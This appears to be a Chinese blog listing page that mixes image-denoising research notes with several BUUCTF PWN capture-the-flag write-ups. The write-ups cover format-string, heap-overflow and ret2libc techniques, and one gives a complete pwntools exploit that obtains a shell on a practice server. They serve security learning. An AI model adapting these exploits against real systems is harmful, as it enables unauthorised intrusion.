基于单位格间区分度的降噪算法的缺陷
文章链接:基于单位格间区分度的降噪
问题描述在新算法下,临近的多个的噪声会干扰噪声定位
形成原因
举了三种典型的情况,其他相似情况同理,这些例子能说明,即便在完全遍历的情况下,也不能准确定位噪声
可能的改进方案加大步长或分离出子图先不考虑信息丢失至少一半对于降噪精度的影响。
在噪声密度较大的情况下(甚至噪声密度不大的情况下),加大步长或分离出子图仍然很容易会出现上图中所示的现象,所以这样不行
另外的改进我们的算法认为中心格的区分度如果被划分在个数少的区域,则存在噪声,但是上图恰好能反驳这一点。
但是在我的观察下,噪声总是会与周围像素格格不入的,或至少存在一定的差距,所以是不是可以认为在噪声存在于中心格的情况下,中心格的区分度划分大概率会处于“数值较大的区域”中。
图像处理20220309
工作概述
思路
对于每个2*2的格子计算最大差异度$d_i$
对于每个$33$的区域来说,都可以分出左上,右上,左下,右下,中间五个$22$格子(四个大格子,一个小格子),并将五个最大差异度全排列
找出$max|d_i - d_j|$
从此处分为两组
若中间格子属于个数少的一组,则存在噪声,且噪声为重合点
代码示例123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117# utf-8# python3.8# note20211229import cv2 as cvimport numpy as npdef map_position(a): if a = ...
图像处理20220302
工作概述
思路
对于每个2*2的格子计算最大差异度$d_i$
对于每个$33$的区域来说,都可以分出左上,右上,左下,右下,中间五个$22$格子(四个大格子,一个小格子),并将五个最大差异度全排列
找出$max|d_i - d_j|$
从此处分为两组
若中间格子属于个数少的一组,则存在噪声,且噪声为重合点
代码示例123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106# utf-8# python3.8# note20211229import cv2 as cvimport numpy as np# 获取差异度def get_differ_degree(array): return max(array) - min ...
BUUCTF-PWN-bbctf_2020_fmt_me
BUUCTF-PWN-bbctf_2020_fmt_mechecksec
IDA
偏移计算使用gdb调试,先对system函数下断点,然后如下图输入:
由于snprintf并没有将buf中的内容打印到标准输出,而是在other_buf中,所以我们需要在gdb中查看内存情况:
使用x/5s 0x4040a0命令,0x4040a0为other_buf的地址
得到偏移为6
EXP123456789101112131415161718192021from pwn import *p = remote('node4.buuoj.cn', 28695)elf = ELF('./fm')# context.log_level = 'debug'context.arch = 'amd64'fmt1 = fmtstr_payload(6, {elf.got['system']: elf.sym['main']}, write_size='long ...
图像处理20220213
前一次的工作
改进find_best根据一段时间对于图像降噪的经验来看,总觉得上次的处理图怪怪的,虽然确实没有了所谓1:7的噪声区域,从结果来看似乎是正常的。但还是再调试了一下,发现确实有可改进之处
测试效果原图:
噪声图:
处理图:
结果分析
这是当k = 1时,进行10次降噪之后的结果,从结果看,无明显1:7类型的噪声存在
与上一次工作的处理图相比,降噪效果更好
降噪在进行到第四次时,被处理掉的噪声比例已经明显降低
第五次时,更低
从第六次降噪完之后,就不再出现新减少的噪声
本次工作对于前一次工作的成果进行进一步处理,使用k = 2作为多尺度指数进行降噪
代码示例12345678910# python3.8# utf-8from denoise1 import main as dn1mfrom denoise2 import main as dn2mif __name__ == '__main__': # dn1m('img.png', 'img_1.png', 1) dn2m('im ...
BUUCTF-PWN-babyheap_0ctf_2017
BUUCTF-PWN-babyheap_0ctf_2017第一次遇到堆题,堆的知识从头开始学起,花了很久,终于把每一步都搞懂了
checksec
IDA为了方便审阅代码,修改了部分函数名和变量名
从main函数看,这是一种很经典的类似于“笔记管理系统”的堆题
Init函数用mmap进行了虚拟内存映射,并返回基址
get_num函数调用了get_string函数,作用是获得一个数字
在switch下是四个函数和一个return 0,下面一个一个分析:
Allocate函数使用数组的方法指向结构体来存储每个chunck的信息,结构体内的信息包括了chunck_in_use、chunck_len、chunck_addr
Fill函数承担写入chunck的作用,而最大的漏洞就出在这里,因为Fill函数的写入长度是由用户自行决定的,且没有检查chunck的大小,所以会造成溢出
Free函数用于释放chunck
Dump函数用于打印chunck中的内容
思路leak libc(unsoredbin attack)
getshell(fastbin attack)
EXP123456 ...
BUUCTF-PWN-pwn2_sctf_2016
BUUCTF-PWN-pwn2_sctf_2016checksec
IDA
get_n函数会向指针(参数1),存入一定长度(参数2)的字符串。
vuln函数第7行,表示读入长度为4的字符串;
第8行表示将刚才读入的字符串转化为int型数字;
第9行的if条件限制了读入长度不能大于32,而nptr指向的合法空间有32,所以无法直接溢出,但是我们可以考虑输入负数,如下图所示:
这样我们的写入空间就足够用了。
下面就是ret2libc的问题,可以利用printf函数打印出printf_got的地址,用来计算偏移
libc文件可以利用buuoj给出的https://files.buuoj.cn/files/85ee93d92fc553f78f195a133690eef3/libc-2.23.so
PS:很多师傅的WP都用了LibcSearcher,但它现在可能用起来会有问题(实操无法解出该题),也没有直接用官方给出的libc方便
EXP123456789101112131415161718192021222324252627from pwn import *# p = process(& ...
BUUCTF-PWN-jarvisoj_fm
BUUCTF-PWN-jarvisoj_fmchecksec
IDA
在main函数中可以看到,只要满足第12行的if条件,就可以拿到shell。而第9行中的read操作不可溢出,因为buf的长度为0x5C,但读入限制的长度为0x50,所以不能进行栈溢出。但是第10行使用了printf函数,那么我们可以考虑使用格式化字符串漏洞,从而使得下面的if条件成立。
偏移计算
0x61616161代表了aaaa,所以可以数一下偏移为11。
EXP12345678910from pwn import *p = remote('node4.buuoj.cn', 27200)x_addr = 0x804A02Cpayload = fmtstr_payload(11, {x_addr: 4})p.sendline(payload)p.interactive()
结果